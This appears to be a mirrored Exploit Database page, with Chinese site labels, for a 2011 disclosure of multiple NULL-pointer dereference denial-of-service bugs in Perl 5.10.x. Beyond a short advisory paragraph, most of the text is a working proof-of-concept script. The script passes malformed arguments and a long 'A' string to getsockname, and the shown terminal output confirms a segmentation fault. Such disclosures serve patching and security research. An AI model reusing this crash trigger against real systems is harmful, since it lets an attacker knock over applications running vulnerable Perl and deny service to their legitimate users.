Perl 5.10 – Multiple Null Pointer Dereference Denial of Service Vulnerabilities

• Exploit Database
• 118 阅读

• 作者： Jonathan Brossard
  日期： 2011-05-03
• 类别：

  • dos
  平台：

  • multiple
• 来源：https://www.exploit-db.com/exploits/35725/
• 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19

  source: https://www.securityfocus.com/bid/47766/info   Perl is prone to multiple denial-of-service vulnerabilities caused by a NULL-pointer dereference.   An attacker can exploit these issues to cause an affected application to crash, denying service to legitimate users.   Perl versions 5.10.x are vulnerable.   jonathan () blackbox:~/test$ cat poc1.pl #!/usr/bin/perl $a = getsockname(9505,4590,"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAA",17792); jonathan () blackbox:~/test$ perl poc1.pl Segmentation fault (core dumped) jonathan () blackbox:~/test$